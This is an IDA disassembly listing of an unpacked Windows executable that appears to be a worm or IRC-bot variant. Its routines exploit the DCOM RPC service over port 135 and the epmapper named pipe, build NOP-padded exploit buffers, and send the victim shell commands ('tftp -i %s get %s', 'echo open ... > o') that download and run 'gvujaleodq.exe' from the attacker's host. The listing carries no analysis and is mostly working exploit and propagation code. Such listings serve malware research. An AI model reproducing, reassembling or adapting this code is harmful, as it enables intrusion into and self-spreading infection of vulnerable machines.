;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 95F3D3586F41AD607D93AA1D95F08CFB
; File Name : u:\work\95f3d3586f41ad607d93aa1d95f08cfb_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00019FCC ( 106444.)
; Section size in file : 00019FCC ( 106444.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
; OS type : MS Windows
; Application type: Executable 32bit
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_4013EE+28p
Dest = word ptr -354h
var_34E = byte ptr -34Eh
Source = word ptr -124h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset aIpc ; "\\IPC$"
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_41D54C ; "\\\\"
lea edi, [ebp+Dest]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_428D64
push 45h
mov byte ptr [ebp+Source], al
pop ecx
xor eax, eax
lea edi, [ebp+Source+1]
rep stosd
stosw
stosb
lea eax, [ebp+Source]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call ds:dword_41B044 ; MultiByteToWideChar
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _wcscat
lea eax, [ebp+var_C]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _wcscat
mov esi, [ebp+arg_4]
lea eax, [ebp+Dest]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_428D60
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_42EC50
cmp eax, 5
mov ebx, 4C3h
jz short loc_4010C4
cmp eax, ebx
jnz short loc_4010CE
loc_4010C4: ; CODE XREF: sub_401000+BEj
push edi
push edi
push edi
push esi
call dword_42EC50
loc_4010CE: ; CODE XREF: sub_401000+C2j
cmp eax, 5
jz short loc_4010DC
cmp eax, ebx
jz short loc_4010DC
push 1
pop eax
jmp short loc_4010DE
; ---------------------------------------------------------------------------
loc_4010DC: ; CODE XREF: sub_401000+D1j
; sub_401000+D5j
xor eax, eax
loc_4010DE: ; CODE XREF: sub_401000+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010E3 proc near ; CODE XREF: sub_4013EE+7Ap
; sub_4013EE+15Ap
Dest = word ptr -354h
var_34E = byte ptr -34Eh
Source = word ptr -124h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset aIpc ; "\\IPC$"
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_41D54C ; "\\\\"
lea edi, [ebp+Dest]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_428D64
pop ecx
mov byte ptr [ebp+Source], al
xor eax, eax
lea edi, [ebp+Source+1]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+Source]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call ds:dword_41B044 ; MultiByteToWideChar
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _wcscat
lea eax, [ebp+var_C]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _wcscat
add esp, 10h
loc_401174: ; CODE XREF: sub_4010E3+AFj
push esi
lea eax, [ebp+Dest]
push esi
push eax
call dword_42EB04
test eax, eax
jz short loc_401194
push 7D0h
call ds:dword_41B048 ; Sleep
jmp short loc_401174
; ---------------------------------------------------------------------------
loc_401194: ; CODE XREF: sub_4010E3+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_4010E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40119B proc near ; CODE XREF: sub_4013EE+A9p
; sub_4013EE+1E7p
Src = byte ptr -3004h
Dst = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call __alloca_probe
push esi
push edi
push offset aGvujaleodq_exe ; "gvujaleodq.exe"
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_408401
pop ecx
push eax ; Str
lea eax, [ebp+Src]
push 1000h ; int
push eax ; Dst
call sub_410266
mov edi, eax
add esp, 10h
test edi, edi
jz loc_4013EA
push ebx
mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push 30h ; Size
lea eax, [ebp+Dst]
push ebx ; Src
push eax ; Dst
call _memcpy
push esi ; Size
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Src]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_1F2D]
push eax ; Dst
call _memcpy
add esp, 24h
lea esi, [edi+0D7h]
loc_401220: ; CODE XREF: sub_40119B+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_401270
mov esi, [ebp+var_4]
push 30h ; Size
lea eax, [ebp+Dst]
inc esi
push ebx ; Src
push eax ; Dst
mov [ebp+var_4], esi
call _memcpy
push esi ; Size
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Src]
push edi ; Size
push eax ; Src
lea eax, [ebp+esi+var_1FD4]
push eax ; Dst
call _memcpy
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_401220
; ---------------------------------------------------------------------------
loc_401270: ; CODE XREF: sub_40119B+90j
cmp [ebp+arg_C4], 0
jz short loc_40128B
cmp [ebp+arg_C0], 3
jz short loc_401294
cmp [ebp+arg_C0], 0
jmp short loc_401292
; ---------------------------------------------------------------------------
loc_40128B: ; CODE XREF: sub_40119B+DCj
cmp [ebp+arg_C0], 3
loc_401292: ; CODE XREF: sub_40119B+EEj
jnz short loc_40129D
loc_401294: ; CODE XREF: sub_40119B+E5j
push 4
push offset dword_41D548
jmp short loc_4012A4
; ---------------------------------------------------------------------------
loc_40129D: ; CODE XREF: sub_40119B:loc_401292j
push 4 ; Size
push offset dword_41D544 ; Src
loc_4012A4: ; CODE XREF: sub_40119B+100j
lea eax, [ebp+var_1FE0]
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h ; Size
push offset dword_41D07C ; Src
push eax ; Dst
call _memcpy
push 10h ; Size
lea eax, [ebp+var_CA4]
push offset dword_41D3E0 ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+Dst]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_C94]
push eax ; Dst
call _memcpy
lea edi, [esi+370h]
push 3Ch ; Size
push offset off_41D3F4 ; Src
lea eax, [ebp+edi+var_1004]
push eax ; Dst
call _memcpy
add edi, 3Ch
push 30h ; Size
push offset dword_41D434 ; Src
lea eax, [ebp+edi+var_1004]
push eax ; Dst
call _memcpy
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi ; Size
mov [ebp+var_E78], eax
call _malloc
add esp, 40h
mov ebx, eax
push esi ; Size
push 0 ; Val
push ebx ; Dst
call _memset
lea eax, [ebp+var_1004]
push edi ; Size
push eax ; Src
push ebx ; Dst
call _memcpy
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_4013EA: ; CODE XREF: sub_40119B+3Ej
pop edi
pop esi
leave
retn
sub_40119B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4013EE(int,char,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_4013EE proc near ; CODE XREF: .text:00401753p
; sub_4027F8+1E6p
; DATA XREF: ...
var_1338 = byte ptr -1338h
Dest = byte ptr -338h
var_234 = dword ptr -234h
var_34 = byte ptr -34h
Dst = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Memory = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
Str = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
arg_B4 = dword ptr 0BCh
push ebp
mov ebp, esp
mov eax, 1338h
call __alloca_probe
cmp [ebp+arg_A0], 1BDh
push ebx
push esi
push edi
jnz loc_40155C
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+arg_4]
push eax
call sub_401000
pop ecx
test eax, eax
pop ecx
jz loc_40166C
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+Dest]
push offset Format ; "\\\\%s\\pipe\\epmapper"
push eax ; Dest
call _sprintf
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp+Dest]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call ds:dword_41B05C ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_401473
loc_401464: ; CODE XREF: sub_4013EE+126j
lea eax, [ebp+arg_4]
push eax
call sub_4010E3
pop ecx
jmp loc_40166C
; ---------------------------------------------------------------------------
loc_401473: ; CODE XREF: sub_4013EE+74j
lea eax, [ebp+arg_4]
push 2
push eax
call sub_403EEB
pop ecx
lea esi, [ebp+arg_0]
pop ecx
push 1
push eax
lea eax, [ebp+var_10]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
loc_401495: ; DATA XREF: .data:off_41E474o
; .data:0041EDB4o
rep movsd
call sub_40119B
add esp, 0C8h
cmp eax, ebx
mov [ebp+Memory], eax
jz short loc_40150B
mov edi, 186A0h
push edi ; Size
call _malloc
mov esi, eax
push edi ; Size
push ebx ; Val
push esi ; Dst
call _memset
add esp, 10h
lea eax, [ebp+var_C]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_41D030
push [ebp+var_4]
call ds:dword_41B058 ; TransactNamedPipe
cmp byte ptr [esi+2], 0Ch
jnz short loc_4014FB
lea eax, [ebp+var_14]
push ebx
push eax
push [ebp+var_10]
push [ebp+Memory]
push [ebp+var_4]
call ds:dword_41B054 ; WriteFile
test eax, eax
jnz short loc_401519
loc_4014FB: ; CODE XREF: sub_4013EE+F3j
push esi ; Memory
call _free
push [ebp+Memory] ; Memory
call _free
pop ecx
pop ecx
loc_40150B: ; CODE XREF: sub_4013EE+B9j
push [ebp+var_4]
call ds:dword_41B050 ; CloseHandle
jmp loc_401464
; ---------------------------------------------------------------------------
loc_401519: ; CODE XREF: sub_4013EE+10Bj
lea eax, [ebp+var_C]
push ebx
push eax
push edi
push esi
push [ebp+var_4]
call ds:dword_41B04C ; ReadFile
push [ebp+Memory] ; Memory
mov edi, eax
call _free
push esi ; Memory
call _free
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_41B050 ; CloseHandle
lea eax, [ebp+arg_4]
push eax
call sub_4010E3
cmp edi, 1
pop ecx
jnz loc_401680
jmp loc_40166C
; ---------------------------------------------------------------------------
loc_40155C: ; CODE XREF: sub_4013EE+1Aj
lea eax, [ebp+arg_4]
push 1
push eax
call sub_403EEB
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_40166C
xor ebx, ebx
push ebx
push 1
push 2
call dword_42EC30 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_40166C
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_A0]
call dword_42EBB4 ; htons
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call dword_42EBF0 ; inet_addr
mov [ebp+var_20], eax
push ebx
lea eax, [ebp+var_C]
push esi
push eax
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40119B
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp+Memory], esi
jnz short loc_4015EE
push [ebp+var_4]
jmp short loc_401666
; ---------------------------------------------------------------------------
loc_4015EE: ; CODE XREF: sub_4013EE+1F9j
mov edi, [ebp+var_4]
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call dword_42EB60 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_401606
loc_401603: ; CODE XREF: sub_4013EE+22Aj
push esi
jmp short loc_40165F
; ---------------------------------------------------------------------------
loc_401606: ; CODE XREF: sub_4013EE+213j
push ebx
push 48h
push offset dword_41D030
push edi
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jz short loc_401603
mov esi, 1000h
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_42EBCC ; recv
push ebx
push [ebp+var_C]
push [ebp+Memory]
push edi
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401647
push [ebp+Memory]
jmp short loc_40165F
; ---------------------------------------------------------------------------
loc_401647: ; CODE XREF: sub_4013EE+252j
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_42EBCC ; recv
push [ebp+Memory] ; Memory
cmp eax, 0FFFFFFFFh
jnz short loc_401673
loc_40165F: ; CODE XREF: sub_4013EE+216j
; sub_4013EE+257j
call _free
pop ecx
push edi
loc_401666: ; CODE XREF: sub_4013EE+1FEj
call dword_42EC48 ; closesocket
loc_40166C: ; CODE XREF: sub_4013EE+31j
; sub_4013EE+80j ...
xor eax, eax
jmp loc_40172F
; ---------------------------------------------------------------------------
loc_401673: ; CODE XREF: sub_4013EE+26Fj
call _free
pop ecx
push edi
call dword_42EC48 ; closesocket
loc_401680: ; CODE XREF: sub_4013EE+163j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_234]
push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"...
push eax ; Dest
call _sprintf
add esp, 0Ch
xor esi, esi
loc_40169A: ; CODE XREF: sub_4013EE+2CCj
lea eax, [ebp+var_234]
push eax
call sub_402E43
test eax, eax
pop ecx
jnz short loc_4016BE
push 1388h
call ds:dword_41B048 ; Sleep
inc esi
cmp esi, 6
jl short loc_40169A
jmp short loc_40172C
; ---------------------------------------------------------------------------
loc_4016BE: ; CODE XREF: sub_4013EE+2BBj
lea eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_A8]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
lea eax, [ebp+var_234]
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+arg_B4], ebx
jnz short loc_40170A
push ebx ; int
lea eax, [ebp+var_234]
push [ebp+arg_B0] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 14h
loc_40170A: ; CODE XREF: sub_4013EE+2FDj
lea eax, [ebp+var_234]
push eax
call sub_402D63
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
inc dword_41F098[eax]
lea eax, dword_41F098[eax]
loc_40172C: ; CODE XREF: sub_4013EE+2CEj
push 1
pop eax
loc_40172F: ; CODE XREF: sub_4013EE+280j
pop edi
pop esi
pop ebx
leave
retn
sub_4013EE endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
lea esi, [esp+10h]
sub esp, 0BCh
mov dword ptr [esp+16Ch], 87h
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4013EE
push 2Fh
lea esi, [esp+0D0h]
pop ecx
mov dword ptr [esp+16Ch], 1BDh
mov edi, esp
mov ebx, eax
rep movsd
call sub_401FD7
add esp, 0BCh
test ebx, ebx
jnz short loc_401786
test eax, eax
jz short loc_401789
loc_401786: ; CODE XREF: .text:00401780j
push 1
pop eax
loc_401789: ; CODE XREF: .text:00401784j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 5214h
call __alloca_probe
push ebx
push esi
push edi
lea eax, [ebp+0Ch]
push 1
push eax
call sub_403EEB
pop ecx
test eax, eax
pop ecx
jz loc_401978
cmp eax, 1
jz loc_401978
push 0
push 1
push 2
call dword_42EC30 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_401978
push 10h
lea eax, [ebp-14h]
push 0
push eax
call _memset
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp+0A8h]
call dword_42EBB4 ; htons
mov [ebp-12h], ax
lea eax, [ebp+0Ch]
push eax
call dword_42EBF0 ; inet_addr
push offset aGvujaleodq_exe ; "gvujaleodq.exe"
mov [ebp-10h], eax
push dword ptr [ebp+8]
call sub_408401
pop ecx
mov esi, 1000h
push eax
lea eax, [ebp-5214h]
push esi
push eax
call sub_410266
add esp, 10h
mov [ebp-4], eax
test eax, eax
jz loc_401978
push 122h
push offset aS ; "è"
lea eax, [ebp-4214h]
push esi
push eax
call sub_4102EE
mov ebx, eax
push 25Ch
lea eax, [ebp-2214h]
push offset a127_0_0_1Ipc ; "127.0.0.1\\IPC$\\"
push eax
call _memcpy
lea eax, [ebp-4214h]
push ebx
push eax
lea eax, [ebp-21F0h]
push eax
call _memcpy
push dword ptr [ebp-4]
lea eax, [ebp-5214h]
push eax
lea eax, [ebp-21F0h]
push eax
call _memcpy
push 4
lea eax, [ebp-1FE0h]
push offset dword_41DD7C
push eax
call _memcpy
add esp, 40h
lea eax, [ebp-1FDCh]
push 4
push offset dword_41DD78
push eax
call _memcpy
mov eax, 12Eh
add esp, 0Ch
add [ebp-0EB4h], eax
add [ebp-0EACh], eax
mov eax, 250h
push 10h
add [ebp-120Ch], eax
add [ebp-1204h], eax
add [ebp-1194h], eax
add [ebp-1190h], eax
add [ebp-1160h], eax
add [ebp-115Ch], eax
add [ebp-1144h], eax
add [ebp-1088h], eax
lea eax, [ebp-14h]
push eax
push edi
call dword_42EB60 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_401914
loc_401911: ; CODE XREF: .text:00401928j
; .text:00401941j ...
push edi
jmp short loc_401972
; ---------------------------------------------------------------------------
loc_401914: ; CODE XREF: .text:0040190Fj
xor ebx, ebx
push ebx
push 48h
push offset dword_41D6E4
push edi
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jz short loc_401911
push ebx
lea eax, [ebp-3214h]
push esi
push eax
push edi
call dword_42EBCC ; recv
cmp byte ptr [ebp-3212h], 0Ch
jnz short loc_401911
push ebx
lea eax, [ebp-1214h]
push ebx
push eax
push edi
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jz short loc_401911
push ebx
lea eax, [ebp-3214h]
push esi
push eax
push edi
call dword_42EBCC ; recv
cmp byte ptr [ebp-3212h], 3
push edi
jnz short loc_40197F
loc_401972: ; CODE XREF: .text:00401912j
call dword_42EC48 ; closesocket
loc_401978: ; CODE XREF: .text:004017ACj
; .text:004017B5j ...
xor eax, eax
loc_40197A: ; CODE XREF: .text:00401A34j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40197F: ; CODE XREF: .text:00401970j
call dword_42EC48 ; closesocket
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-214h]
push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"...
push eax
call _sprintf
add esp, 0Ch
xor esi, esi
loc_40199F: ; CODE XREF: .text:004019BFj
lea eax, [ebp-214h]
push eax
call sub_402E43
test eax, eax
pop ecx
jnz short loc_4019C3
push 1388h
call ds:dword_41B048 ; Sleep
inc esi
cmp esi, 6
jl short loc_40199F
jmp short loc_401A31
; ---------------------------------------------------------------------------
loc_4019C3: ; CODE XREF: .text:004019AEj
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
lea eax, [ebp-214h]
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
push eax
call _sprintf
add esp, 10h
cmp [ebp+0BCh], ebx
jnz short loc_401A0F
push ebx
lea eax, [ebp-214h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_405E64
add esp, 14h
loc_401A0F: ; CODE XREF: .text:004019F0j
lea eax, [ebp-214h]
push eax
call sub_402D63
mov eax, [ebp+0B0h]
pop ecx
imul eax, 3Ch
inc dword_41F098[eax]
lea eax, dword_41F098[eax]
loc_401A31: ; CODE XREF: .text:004019C1j
push 1
pop eax
jmp loc_40197A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A39 proc near ; CODE XREF: sub_401B98+42Ap
var_5A0 = byte ptr -5A0h
Dest = byte ptr -1A0h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+Dst], 2
push eax
call dword_42EBF0 ; inet_addr
mov [ebp+var_C], eax
mov ax, word_41E670
push eax
call dword_42EBB4 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_42EC30 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_401B71
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call dword_42EB60 ; connect
cmp eax, 0FFFFFFFFh
jz loc_401B71
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_42EBCC ; recv
mov edi, offset aGvujaleodq_exe ; "gvujaleodq.exe"
push edi
push edi
push [ebp+arg_0]
call sub_408401
pop ecx
mov esi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
push dword_42E668
push [ebp+arg_0]
call sub_408401
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push ebx
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jz short loc_401B71
push 1F4h
call ds:dword_41B048 ; Sleep
push edi
push offset aS_0 ; "%s\r\n"
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push ebx
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401B75
loc_401B71: ; CODE XREF: sub_401A39+51j
; sub_401A39+67j ...
xor al, al
jmp short loc_401B93
; ---------------------------------------------------------------------------
loc_401B75: ; CODE XREF: sub_401A39+136j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_42EBCC ; recv
push ebx
call dword_42EC48 ; closesocket
mov al, 1
loc_401B93: ; CODE XREF: sub_401A39+13Aj
pop edi
pop esi
pop ebx
leave
retn
sub_401A39 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B98 proc near ; CODE XREF: sub_401FD7+116p
; sub_401FD7+138p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
Src = byte ptr -104h
var_103 = byte ptr -103h
Dst = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
Str = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call __alloca_probe
mov eax, dword_41E808
push ebx
mov [ebp+var_10], eax
mov eax, dword_41E80C
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+Str]
push offset aSIpc ; "\\\\%s\\ipc$"
push eax ; Dest
call _sprintf
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_401BD7: ; CODE XREF: sub_401B98+4Ej
mov cl, [ebp+esi+Str]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_401BD7
push 60h ; Size
lea eax, [ebp+Dst]
push offset dword_41E280 ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _strlen
shl eax, 1
push eax ; Size
lea eax, [ebp+Src]
push eax ; Src
lea eax, [ebp+var_84]
push eax ; Dst
call _memcpy
add esp, 1Ch
lea eax, [ebp+Str]
push 9 ; Size
push (offset aC_2+3) ; Src
push eax ; Str
call _strlen
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _strlen
add al, 1Ah
push 1 ; Size
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax ; Src
lea eax, [ebp+var_B1]
push eax ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _strlen
shl al, 1
add al, 9
push 1 ; Size
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax ; Src
lea eax, [ebp+var_87]
push eax ; Dst
call _memcpy
mov ax, word_41E670
add esp, 2Ch
push eax
call dword_42EBB4 ; htons
xor eax, 9999h
push 2 ; Size
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax ; Src
push offset dword_41DF80 ; Dst
call _memcpy
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_401D94
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi ; Size
push 90h ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_C0]
push 4 ; Size
imul eax, 3Ch
lea eax, dword_41E6B0[eax]
mov [ebp+var_14], eax
